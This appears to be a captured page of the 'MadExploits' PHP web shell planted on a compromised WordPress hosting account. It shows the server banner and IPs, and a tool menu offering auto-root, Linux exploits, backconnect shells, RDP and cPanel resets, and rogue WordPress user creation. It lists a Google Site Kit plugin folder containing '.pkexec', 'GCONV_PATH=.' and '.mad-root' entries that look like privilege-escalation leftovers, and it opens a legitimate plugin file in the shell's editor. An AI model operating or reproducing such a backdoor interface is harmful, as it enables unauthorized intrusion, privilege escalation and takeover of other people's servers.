Linux business72.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
LiteSpeed
: 162.0.229.97 | : 3.145.48.72
Cant Read [ /etc/named.conf ]
8.1.30
temmmp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
temmmp /
anonmags.com /
wp-content /
plugins /
google-site-kit /
includes /
Core /
Util /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
Activation_Flag.php
3.25
KB
-rw-r--r--
Activation_Notice.php
4.11
KB
-rw-r--r--
Auto_Updates.php
4.17
KB
-rw-r--r--
BC_Functions.php
4.68
KB
-rw-r--r--
Collection_Key_Cap_Filter.php
1.38
KB
-rw-r--r--
Date.php
1.93
KB
-rw-r--r--
Developer_Plugin_Installer.php
5.44
KB
-rw-r--r--
Entity.php
3.2
KB
-rw-r--r--
Entity_Factory.php
20.71
KB
-rw-r--r--
Exit_Handler.php
836
B
-rw-r--r--
Feature_Flags.php
2.22
KB
-rw-r--r--
Google_Icon.php
1.58
KB
-rw-r--r--
Google_URL_Matcher_Trait.php
3.02
KB
-rw-r--r--
Google_URL_Normalizer.php
1.6
KB
-rw-r--r--
Health_Checks.php
3.94
KB
-rw-r--r--
Input.php
2.76
KB
-rw-r--r--
Method_Proxy_Trait.php
1.09
KB
-rw-r--r--
Migrate_Legacy_Keys.php
1.08
KB
-rw-r--r--
Migration_1_123_0.php
4.54
KB
-rw-r--r--
Migration_1_129_0.php
4.01
KB
-rw-r--r--
Migration_1_3_0.php
2.96
KB
-rw-r--r--
Migration_1_8_1.php
6.85
KB
-rw-r--r--
Migration_Conversion_ID.php
4.02
KB
-rw-r--r--
REST_Entity_Search_Controller....
3.34
KB
-rw-r--r--
Remote_Features.php
3.97
KB
-rw-r--r--
Requires_Javascript_Trait.php
1.09
KB
-rw-r--r--
Reset.php
7.34
KB
-rw-r--r--
Reset_Persistent.php
666
B
-rw-r--r--
Sanitize.php
1.04
KB
-rw-r--r--
Scopes.php
2.59
KB
-rw-r--r--
Sort.php
1.1
KB
-rw-r--r--
Synthetic_WP_Query.php
4.08
KB
-rw-r--r--
URL.php
5.4
KB
-rw-r--r--
Uninstallation.php
3.27
KB
-rw-r--r--
WP_Context_Switcher_Trait.php
2.13
KB
-rw-r--r--
WP_Query_Factory.php
9.77
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Health_Checks.php
<?php /** * Class Google\Site_Kit\Core\Util\Health_Checks * * @package Google\Site_Kit\Core\Util * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Util; use Exception; use Google\Site_Kit\Core\Authentication\Authentication; use Google\Site_Kit\Core\Permissions\Permissions; use Google\Site_Kit\Core\REST_API\REST_Route; use Google\Site_Kit_Dependencies\Google\Service\SearchConsole as Google_Service_SearchConsole; use Google\Site_Kit_Dependencies\Google_Service_Exception; use WP_REST_Server; /** * Class for performing health checks. * * @since 1.14.0 * @access private * @ignore */ class Health_Checks { /** * Authentication instance. * * @var Authentication */ protected $authentication; /** * Google_Proxy instance. * * @var Google_Proxy */ protected $google_proxy; /** * Constructor. * * @param Authentication $authentication Authentication instance. */ public function __construct( Authentication $authentication ) { $this->authentication = $authentication; $this->google_proxy = $authentication->get_google_proxy(); } /** * Registers functionality through WordPress hooks. * * @since 1.14.0 */ public function register() { add_filter( 'googlesitekit_rest_routes', function ( $rest_routes ) { $health_check_routes = $this->get_rest_routes(); return array_merge( $rest_routes, $health_check_routes ); } ); } /** * Gets all health check REST routes. * * @since 1.14.0 * * @return REST_Route[] List of REST_Route objects. */ private function get_rest_routes() { return array( new REST_Route( 'core/site/data/health-checks', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => function () { $checks = array( 'googleAPI' => $this->check_google_api(), 'skService' => $this->check_service_connectivity(), ); return compact( 'checks' ); }, 'permission_callback' => function () { return current_user_can( Permissions::VIEW_SHARED_DASHBOARD ) || current_user_can( Permissions::SETUP ); }, ), ) ), ); } /** * Checks connection to Google APIs. * * @since 1.14.0 * * @return array Results data. */ private function check_google_api() { $client = $this->authentication->get_oauth_client()->get_client(); $restore_defer = $client->withDefer( false ); $error_msg = ''; // Make a request to the Search API. // This request is bound to fail but this is okay as long as the error response comes // from a Google API endpoint (Google_Service_exception). The test is only intended // to check that the server is capable of connecting to the Google API (at all) // regardless of valid authentication, which will likely be missing here. try { ( new Google_Service_SearchConsole( $client ) )->sites->listSites(); $pass = true; } catch ( Google_Service_Exception $e ) { if ( ! empty( $e->getErrors() ) ) { $pass = true; } else { $pass = false; $error_msg = $e->getMessage(); } } catch ( Exception $e ) { $pass = false; $error_msg = $e->getMessage(); } $restore_defer(); return array( 'pass' => $pass, 'errorMsg' => $error_msg, ); } /** * Checks connection to Site Kit service. * * @since 1.85.0 * * @return array Results data. */ private function check_service_connectivity() { $service_url = $this->google_proxy->url(); $response = wp_remote_head( $service_url ); if ( is_wp_error( $response ) ) { return array( 'pass' => false, 'errorMsg' => $response->get_error_message(), ); } $status_code = wp_remote_retrieve_response_code( $response ); $pass = is_int( $status_code ) && $status_code < 400; return array( 'pass' => $pass, 'errorMsg' => $pass ? '' : 'connection_fail', ); } }
Close